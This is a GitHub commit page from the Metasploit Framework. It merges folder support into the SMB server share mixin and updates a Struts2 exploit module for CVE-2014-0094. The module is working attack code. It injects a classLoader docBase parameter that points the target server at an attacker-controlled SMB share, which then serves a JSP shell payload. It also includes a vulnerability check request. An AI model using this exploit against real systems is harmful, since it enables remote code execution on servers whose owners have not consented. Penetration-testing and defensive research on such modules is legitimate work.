Skip to content

Commit fef8b89

Browse files
author
Matthew Hall
committed
Merge pull request #6 from jvazquez-r7/final_3323_folder_support
Add support for a folder and update module. Thanks @jvazquez-r7 - yeah I was using an older version of my code for the exploit (whoops - long day...). Landed. I'll look at merging this with the existing exploit over the weekend.
2 parents 5b65811 + de08d82 commit fef8b89

File tree

17 files changed

+99
-81
lines changed

17 files changed

+99
-81
lines changed

lib/msf/core/exploit/smb/server/share.rb

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -175,10 +175,9 @@ module Share
175175
# @!attribute share
176176
# @return [String] The share portion of the provided UNC.
177177
attr_accessor :share
178-
# @!attribute path_name
178+
# @!attribute folder_name
179179
# @return [String] The folder where the provided file lives.
180-
# @note UNSUPPORTED
181-
attr_accessor :path_name
180+
attr_accessor :folder_name
182181
# @!attribute file_name
183182
# @return [String] The file name of the provided UNC.
184183
attr_accessor :file_name
@@ -199,6 +198,7 @@ def initialize(info = {})
199198
[
200199
OptString.new('SHARE', [ false, 'Share (Default Random)']),
201200
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
201+
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
202202
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
203203
], Msf::Exploit::Remote::SMB::Server::Share)
204204
end
@@ -207,7 +207,7 @@ def initialize(info = {})
207207
def setup
208208
super
209209

210-
self.path_name = '\\' # TODO: Add subdirectories support
210+
self.folder_name = datastore['FOLDER_NAME']
211211
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
212212
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
213213

@@ -224,7 +224,13 @@ def setup
224224

225225
# Builds the UNC Name for the shared file
226226
def unc
227-
"\\\\#{srvhost}\\#{share}\\#{file_name}"
227+
if folder_name
228+
path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
229+
else
230+
path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
231+
end
232+
233+
path
228234
end
229235

230236
# Builds the server address.

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,12 @@ def smb_cmd_nt_create_andx(c, buff)
3232
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
3333
eof = file_contents.length
3434
is_dir = 0
35-
elsif payload.eql?(path_name.downcase)
35+
elsif folder_name && payload.ends_with?(folder_name.downcase)
36+
fid = smb[:dir_id].to_i
37+
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
38+
eof = 0
39+
is_dir = 1
40+
elsif payload == "\\"
3641
fid = smb[:dir_id].to_i
3742
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
3843
eof = 0

lib/msf/core/exploit/smb/server/share/command/trans2.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -87,8 +87,8 @@ def normalize_path(path)
8787
def smb_expand(path)
8888
search_path = path.gsub(/<\./, '*.') # manage wildcards
8989
extension = File.extname(file_name)
90-
if search_path == "#{path_name}*#{extension}"
91-
search_path = "#{path_name}#{file_name}"
90+
if search_path =~ /\\\*#{extension}$/
91+
search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
9292
end
9393

9494
search_path

lib/msf/core/exploit/smb/server/share/information_level/find.rb

Lines changed: 23 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,15 @@ def smb_cmd_find_file_both_directory_info(c, path)
2121
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
2222
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
2323
search = 1
24-
elsif path && path == path_name.downcase
25-
data = Rex::Text.to_unicode(path_name)
24+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
25+
data = Rex::Text.to_unicode(path)
26+
length = 0
27+
ea = 0x21
28+
alloc = 0 # 0Mb
29+
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
30+
search = 0x100
31+
elsif path && path == "\\"
32+
data = Rex::Text.to_unicode(path)
2633
length = 0
2734
ea = 0x21
2835
alloc = 0 # 0Mb
@@ -52,8 +59,10 @@ def smb_cmd_find_file_both_directory_info(c, path)
5259
def smb_cmd_find_file_names_info(c, path)
5360
if path && path.include?(file_name.downcase)
5461
data = Rex::Text.to_unicode(file_name)
55-
elsif path && path == path_name.downcase
56-
data = Rex::Text.to_unicode(path_name)
62+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
63+
data = Rex::Text.to_unicode(path)
64+
elsif path && path == "\\"
65+
data = Rex::Text.to_unicode(path)
5766
else
5867
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
5968
end
@@ -68,15 +77,23 @@ def smb_cmd_find_file_names_info(c, path)
6877
# @param path [String] The path which the client is requesting info from.
6978
# @return [Fixnum] The number of bytes returned to the client as response.
7079
def smb_cmd_find_file_full_directory_info(c, path)
80+
7181
if path && path.include?(file_name.downcase)
7282
data = Rex::Text.to_unicode(file_name)
7383
length = file_contents.length
7484
ea = 0
7585
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
7686
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
7787
search = 0x100
78-
elsif path && path == path_name.downcase
79-
data = Rex::Text.to_unicode(path_name)
88+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
89+
data = Rex::Text.to_unicode(path)
90+
length = 0
91+
ea = 0x21
92+
alloc = 0 # 0Mb
93+
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
94+
search = 1
95+
elsif path && path == "\\"
96+
data = Rex::Text.to_unicode(path)
8097
length = 0
8198
ea = 0x21
8299
alloc = 0 # 0Mb

lib/msf/core/exploit/smb/server/share/information_level/query.rb

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -48,15 +48,12 @@ def smb_cmd_trans_query_file_info_standard(c, fid)
4848
# @param c [Socket] The client sending the request.
4949
# @param path [String] The path which the client is requesting info from.
5050
# @return [Fixnum] The number of bytes returned to the client as response.
51-
# @todo Delete elsif comment if testing proofs it as unnecessary
5251
def smb_cmd_trans_query_path_info_basic(c, path)
5352
if path && path.ends_with?(file_name.downcase)
5453
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
55-
#elsif path && path.ends_with?(file_name + '.Local')
56-
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
57-
elsif path && path == path_name.downcase
54+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
5855
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
59-
elsif path.nil? || path.empty? || path == "\x00" # empty path
56+
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
6057
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
6158
else
6259
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@@ -74,9 +71,9 @@ def smb_cmd_trans_query_path_info_basic(c, path)
7471
def smb_cmd_trans_query_path_info_standard(c, path)
7572
if path && path.include?(file_name.downcase)
7673
attrib = 0 # File attributes => file
77-
elsif path && path == path_name.downcase
74+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
7875
attrib = 1 # File attributes => directory
79-
elsif path.nil? || path.empty? || path == "\x00" # empty path
76+
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
8077
attrib = 1 # File attributes => directory
8178
else
8279
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@@ -101,9 +98,9 @@ def smb_cmd_trans_query_path_info_network(c, path)
10198

10299
if path && path.include?(file_name.downcase)
103100
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
104-
elsif path && path == path_name.downcase
101+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
105102
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
106-
elsif path.nil? || path.empty? || path == "\x00" # empty path
103+
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
107104
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
108105
else
109106
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)

modules/exploits/windows/fileformat/ms13_071_theme.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,7 @@ def initialize(info={})
6464
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
6565
], self.class)
6666

67+
deregister_options('FOLDER_NAME')
6768
deregister_options('FILE_CONTENTS')
6869
end
6970

Lines changed: 46 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -13,84 +13,84 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
def initialize(info={})
1515
super(update_info(info,
16-
'Name' => 'Struts JSP Injection over HTTP',
16+
'Name' => 'Struts JSP Injection Over HTTP',
1717
'Description' => %q{
18-
This module exploits the classLoader Apache Struts2
19-
vulnerability to inject a JSP shell over SMB.
18+
This module exploits the classLoader Apache Struts2 vulnerability
19+
to inject a JSP shell over SMB.
2020
},
21-
'Author' => [
22-
'Matthew Hall <[email protected]>',
23-
],
21+
'Author' =>
22+
[
23+
'Matthew Hall <[email protected]>'
24+
],
2425
'DisclosureDate' => 'May 1 2014',
25-
'Platform' => 'win',
26-
'Privileged' => true,
2726
'References' =>
2827
[
29-
[ 'URL', 'http://www.sec-1.com/blog/'],
30-
[ 'CVE', '2014-0094' ],
28+
['CVE', '2014-0094']
3129
],
3230
'DefaultOptions' =>
3331
{
34-
'EXITFUNC' => 'process',
35-
'DisablePayloadHandler' => 'false',
32+
'EXITFUNC' => 'process'
33+
},
34+
'Payload' =>
35+
{
36+
'Space' => 2048,
37+
'DisableNops' => true
3638
},
3739
'Privileged' => true,
3840
'Arch' => ARCH_JAVA,
39-
'Platform' => [ 'win' ],
41+
'Platform' => 'win',
42+
'Stance' => Msf::Exploit::Stance::Aggressive,
4043
'Targets' =>
41-
[
42-
[ 'Java Universal',
43-
{
44-
'Arch' => ARCH_JAVA,
45-
'Platform' => ['win','linux']
46-
},
47-
]
48-
],
49-
'DefaultTarget' => 0,
50-
))
51-
register_options(
5244
[
53-
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]),
54-
OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']),
55-
Opt::RPORT(8080)
56-
], self.class)
57-
deregister_options('FILE_CONTENTS')
45+
['Java Universal', {}]
46+
],
47+
'DefaultTarget' => 0,
48+
))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action']),
53+
OptString.new('FILE_NAME', [ true, 'A static JSP name', 'HelloWorld.jsp']),
54+
OptString.new('FOLDER_NAME', [ true, 'A static Folder', 'example']),
55+
OptString.new('SHARE', [ true, 'Share', 'share']),
56+
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
57+
Opt::RPORT(8080)
58+
], self.class)
59+
60+
deregister_options('FILE_CONTENTS')
5861
end
5962

6063
def check
6164
uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x'
6265
res = send_request_raw({'uri'=>uri})
6366

64-
if res and res.body =~ /No result defined for action/
67+
if res and res.body =~ /No result defined for action/
6568
return Exploit::CheckCode::Vulnerable
6669
else
6770
return Exploit::CheckCode::Unknown
6871
end
6972
end
7073

71-
def primer
72-
self.file_contents = payload.encoded
74+
def primer
75+
self.file_contents = payload.encoded
7376
print_status("File available on #{unc}...")
74-
share = "#{unc}"
75-
sploit = datastore['URI']
76-
share = share.gsub(/\\/, '/')
77-
#sploit << '?class.classLoader.resources.dirContext.docBase='
77+
78+
sploit = target_uri.to_s
7879
sploit << '?Class.classLoader.resources.dirContext.docBase='
79-
#sploit << '?Class.classLoader.resources.context.effectiveMajorVersion='
80-
#sploit << "?class['classLoader']['resources']['dirContext']['docBase']="
81-
sploit << share
80+
sploit << "\\\\#{srvhost}\\#{share}"
8281
print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}")
8382

84-
res = send_request_raw({
83+
send_request_raw({
8584
'method' => 'GET',
8685
'uri' => sploit
8786
}, 30)
87+
end
8888

89-
# Wait 30 seconds for session to be created
90-
1.upto(30) do
91-
break if session_created?
92-
sleep(1)
89+
def exploit
90+
begin
91+
Timeout.timeout(datastore['SMB_DELAY']) {super}
92+
rescue Timeout::Error
93+
# do nothing... just finish exploit and stop smb server...
9394
end
94-
disconnect
9595
end
9696
end

modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,7 @@ def initialize(info={})
6161
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
6262
], self.class)
6363

64+
deregister_options('FOLDER_NAME')
6465
deregister_options('FILE_CONTENTS')
6566
end
6667

spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,6 @@
7979
mod.lo = 0
8080
mod.hi = 0
8181
mod.share = 'test'
82-
mod.path_name = "\\"
8382
mod.file_name = 'false.exe'
8483
mod.file_contents = 'metasploit'
8584

spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,6 @@
6767
mod.lo = 0
6868
mod.hi = 0
6969
mod.share = 'test'
70-
mod.path_name = "\\"
7170
mod.file_name = 'false.exe'
7271
mod.file_contents = 'metasploit'
7372

0 commit comments

Comments
 (0)